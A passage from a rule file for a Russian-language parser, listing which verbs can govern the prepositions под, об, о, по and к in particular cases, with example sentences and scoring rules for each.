rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
